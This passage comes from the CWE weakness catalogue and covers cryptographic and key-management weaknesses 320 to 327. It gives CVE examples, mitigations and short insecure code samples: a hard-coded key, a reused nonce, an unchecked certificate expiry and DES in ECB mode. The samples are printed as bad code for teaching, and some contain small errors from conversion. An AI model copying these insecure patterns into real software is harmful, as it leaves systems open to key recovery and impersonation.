Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Operation
Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page 1</th>
<th>Page 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>699</td>
<td>549</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td>750</td>
<td>1145</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>818</td>
<td>OWASP Top Ten 2010 Category A9 - Insufficient Transport</td>
<td>809</td>
<td>1252</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
<td>844</td>
<td>1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security</td>
<td>844</td>
<td>1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>928</td>
<td>1363</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928</td>
<td>1364</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td>1381</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>5</td>
<td>J2EE Misconfiguration: Data Transmission Without Encryption</td>
<td>1000</td>
<td>2</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Plaintext Transmission of Sensitive Information</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SEC06-J</td>
<td>Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER02-J</td>
<td>Sign then seal sensitive objects before sending them outside a trust boundary</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name                                                        (CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>65</td>
<td>Sniff Application Code</td>
</tr>
<tr>
<td>102</td>
<td>Session Sidejacking</td>
</tr>
<tr>
<td>383</td>
<td>Harvesting Usernames or UserIDs via Application API Event Monitoring</td>
</tr>
<tr>
<td>477</td>
<td>Signature Spoofing by Mixing Signed and Unsigned Content</td>
</tr>
</tbody>
</table>

References


CWE-320: Key Management Errors

Category ID: 320 (Category) | Status: Draft
CWE Version 2.11
CWE-321: Use of Hard-coded Cryptographic Key

Description

Summary
Weaknesses in this category are related to errors in the management of cryptographic keys.

Applicable Platforms
Languages
• All

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0762</td>
<td>default installation of product uses a default encryption key, allowing others to spoof the administrator</td>
</tr>
<tr>
<td>CVE-2001-0072</td>
<td>Exposed or accessible private key (overlaps information exposure) -- Crypto program imports both public and private keys but does not tell the user about the private keys, possibly breaking the web of trust.</td>
</tr>
<tr>
<td>CVE-2001-1527</td>
<td>administration passwords in cleartext in executable</td>
</tr>
<tr>
<td>CVE-2002-1947</td>
<td>static key / global shared key -- &quot;global shared key&quot; - product uses same SSL key for all installations, allowing attackers to eavesdrop or hijack session.</td>
</tr>
<tr>
<td>CVE-2005-1794</td>
<td>Exposed or accessible private key (overlaps information exposure) -- Private key stored in executable</td>
</tr>
<tr>
<td>CVE-2005-2146</td>
<td>insecure permissions when generating secret key, allowing spoofing</td>
</tr>
<tr>
<td>CVE-2005-2196</td>
<td>static key / global shared key -- Product uses default WEP key when not connected to a known or trusted network, which can cause it to automatically connect to a malicious network. Overlaps: default.</td>
</tr>
<tr>
<td>CVE-2005-3256</td>
<td>Misc -- Encryption product accidentally selects the wrong key if the key doesn't have additional fields that are normally expected, allowing the owner of the wrong key to decrypt the data.</td>
</tr>
<tr>
<td>CVE-2005-4002</td>
<td>static key / global shared key -- &quot;global shared key&quot; - product uses same secret key for all installations, allowing attackers to decrypt data.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699  548</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
<td>699  566</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
<td>699  568</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
<td>699  569</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
<td>699  570</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Key Management Errors</td>
</tr>
</tbody>
</table>

Maintenance Notes
This category should probably be split into multiple sub-categories.

CWE-321: Use of Hard-coded Cryptographic Key

Weakness ID: 321 (Weakness Base) Status: Draft

Description

Summary
The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• All
Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity
If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain
access through the account in question.

Likelihood of Exploit
High

Demonstrative Examples
The following code examples attempt to verify a password using a hard-coded cryptographic key.

C/C++ Example:
```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!
"); return(0);
    }
    printf("Entering Diagnostic Mode...
"); return(1);
}
```

Java Example:
```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

C# Example:
```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is
likely that an attacker will be able to read the key and compromise the system.

Potential Mitigations
Architecture and Design
Prevention schemes mirror that of hard-coded password storage.

Other Notes
The main difference between the use of hard-coded passwords and the use of hard-coded
cryptographic keys is the false sense of security that the former conveys. Many people believe that
simply hashing a hard-coded password before storage will protect the information from malicious
users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and
further, many authentication protocols simply request the hash itself, making it no better than a
password.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>320</td>
<td>Key Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>719</td>
<td>OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>720</td>
<td>OWASP Top Ten 2007 Category A9 - Insecure Communications</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
</tbody>
</table>
CWE-322: Key Exchange without Entity Authentication

**Description**

**Summary**
The software performs a key exchange with an actor without verifying the identity of that actor.

**Extended Description**
Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of "man-in-the-middle" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Access Control**

**Bypass protection mechanism**
No authentication takes place in this process, bypassing an assumed protection of encryption.

**Confidentiality**

**Read application data**
The encrypted communication between a user and a trusted host may be subject to a "man-in-the-middle" sniffing attack.

**Likelihood of Exploit**
High

**Demonstrative Examples**
Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, leading to man-in-the-middle attacks. Many people using SSL/TLS skip the authentication (often unknowingly).

**Potential Mitigations**

**Architecture and Design**
Ensure that proper authentication is included in the system design.

**Implementation**
Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.
CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID: 323 (Weakness Base) Status: Incomplete

Description

Summary
Nonces should be used for the present occasion and only once.

Time of Introduction

• Architecture and Design

Applicable Platforms

Languages

• All

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:
This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

C Example:  

```c
void encryptAndSendPassword(char *password){
    char *nonce = "bad";
    ...
    char *data = (unsigned char*)malloc(20);
    int para_size = strlen(nonce) + strlen(password);
    char *paragraph = (char*)malloc(para_size);
    SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
    sendEncryptedData(data)
}
```

References

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

**Example 2:**
This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

```java
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

**Potential Mitigations**

**Implementation**
Refuse to reuse nonce values.

**Implementation**
Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

**Background Details**
Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>320</td>
<td>Key Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Reusing a nonce, key pair in encryption</td>
</tr>
</tbody>
</table>

**CWE-324: Use of a Key Past its Expiration Date**

**Weakness ID:** 324 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**
The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

**Extended Description**
While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent
Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity
The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.

Likelihood of Exploit
Low

Demonstrative Examples
The following code attempts to verify that a certificate is valid.

C/C++ Example:
```c
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
       //do stuff
}
```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

Potential Mitigations
Architecture and Design
Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
<td>528</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>320</td>
<td>Key Management Errors</td>
<td>565</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>1041</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
<td>1379</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>262</td>
<td>Not Using Password Aging</td>
<td>467</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Using a key past its expiration date</td>
</tr>
</tbody>
</table>

References

CWE-325: Missing Required Cryptographic Step

<table>
<thead>
<tr>
<th>Weakness ID: 325 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.

Extended Description
Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.

Time of Introduction
- Architecture and Design
- Requirements

Applicable Platforms
Languages
- All
**Modes of Introduction**
Developers sometimes omit certain "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or CPU cycles. This could be done under a mistaken impression that the step is unnecessary for preserving security. Alternately, the developer might adopt a threat model that is inconsistent with that of its consumers by accepting a risk for which the remaining protection seems "good enough."

This issue can be introduced when the requirements for the algorithm are not clearly stated.

**Common Consequences**

<table>
<thead>
<tr>
<th>Access Control</th>
<th>Bypass protection mechanism</th>
</tr>
</thead>
<tbody>
<tr>
<td>If the cryptographic algorithm is used for authentication and authorization, then an attacker could gain unauthorized access to the system.</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Confidentiality</th>
<th>Integrity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Read application data</td>
<td>Modify application data</td>
</tr>
<tr>
<td>Sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</td>
<td></td>
</tr>
</tbody>
</table>

**Accountability**

<table>
<thead>
<tr>
<th>Non-Repudiation</th>
<th>Hide activities</th>
</tr>
</thead>
<tbody>
<tr>
<td>If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.</td>
<td></td>
</tr>
</tbody>
</table>

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699 548</td>
</tr>
<tr>
<td>PeerOf</td>
<td>☑</td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
<td>1000 622</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000 913</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>719</td>
<td>OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage</td>
<td>629 1117</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>720</td>
<td>OWASP Top Ten 2007 Category A9 - Insecure Communications</td>
<td>629 1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928 1364</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>958</td>
<td>SFP Secondary Cluster: Broken Cryptography</td>
<td>888 1379</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Relationship Notes**

Overlaps incomplete/missing security check.

Can be resultant.

**Functional Areas**

- Cryptography

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Missing Required Cryptographic Step</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A8</td>
<td>CWE More Specific</td>
<td>Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Insecure Communications</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>68</td>
<td>Subvert Code-signing Facilities</td>
<td></td>
</tr>
</tbody>
</table>

572
CWE-326: Inadequate Encryption Strength

Description

Summary
The software stores or transmits sensitive data using an encryption scheme that is theoretically
sound, but is not strong enough for the level of protection required.

Extended Description
A weak encryption scheme can be subjected to brute force attacks that have a reasonable
chance of succeeding using current attack methods and resources.

Time of Introduction

• Architecture and Design

Applicable Platforms

Languages
• All

Common Consequences

Access Control
Confidentiality
Bypass protection mechanism
Read application data
An attacker may be able to decrypt the data using brute force attacks.

Observed Examples

Reference | Description
--- | ---
CVE-2001-1546 | Weak encryption
CVE-2002-1682 | Weak encryption
CVE-2002-1697 | Weak encryption produces same ciphertext from the same plaintext blocks.
CVE-2002-1739 | Weak encryption
CVE-2002-1872 | Weak encryption (XOR)
CVE-2002-1910 | Weak encryption (reversible algorithm).
CVE-2002-1946 | Weak encryption (one-to-one mapping).
CVE-2002-1975 | Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps
randomness).
CVE-2004-2172 | Weak encryption (chosen plaintext attack)
CVE-2005-2281 | Weak encryption scheme

Potential Mitigations

Architecture and Design
Use a cryptographic algorithm that is currently considered to be strong by experts in the field.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>548</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>719</td>
<td>OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1117</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>720</td>
<td>OWASP Top Ten 2007 Category A9 - Insecure Communications</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1122</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>816</td>
<td>OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage</td>
<td>809</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1251</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1364</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1379</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>465</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>328</td>
<td>Reversible One-Way Hash</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>579</td>
</tr>
</tbody>
</table>
CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Description

Summary
The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.

Extended Description
The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Common Consequences

Confidentiality
Read application data
The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Integrity
Modify application data
The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Accountability
Non-Repudiation
Hide activities
If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.
Likelihood of Exploit
Medium to High

Detection Methods

Automated Analysis
Moderate
Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.
False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Man-in-the-middle attack tool
Cost effective for partial coverage:
Framework-based Fuzzer
Automated Monitored Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Configuration Checker

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

These code examples use the Data Encryption Standard (DES).

C/C++ Example: Bad Code
```
EVP_des_ecb();
```

Java Example: Bad Code
```
Cipher des=Cipher.getInstance("DES");
des.initEncrypt(key2);
```

PHP Example: Bad Code
```
function encryptPassword($password){
    $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a password encryption key";
    $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
    return $encryptedPassword;
}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-2058</td>
<td>Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.</td>
</tr>
<tr>
<td>CVE-2005-2946</td>
<td>Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.</td>
</tr>
<tr>
<td>CVE-2005-4860</td>
<td>Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.</td>
</tr>
<tr>
<td>CVE-2007-4150</td>
<td>Product only uses &quot;XOR&quot; to obfuscate sensitive data</td>
</tr>
<tr>
<td>CVE-2007-5460</td>
<td>Product only uses &quot;XOR&quot; and a fixed key to obfuscate sensitive data</td>
</tr>
<tr>
<td>CVE-2007-6013</td>
<td>Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.</td>
</tr>
<tr>
<td>CVE-2008-3188</td>
<td>Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.</td>
</tr>
<tr>
<td>CVE-2008-3775</td>
<td>Product uses &quot;ROT-25&quot; to obfuscate the password in the registry.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Libraries or Frameworks
When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
For example, US government systems require FIPS 140-2 certification.
Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong.
[R.327.4]
Architecture and Design
Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Implementation
Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Background Details
Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken.
Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>548</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>549</td>
</tr>
<tr>
<td>ChildOf</td>
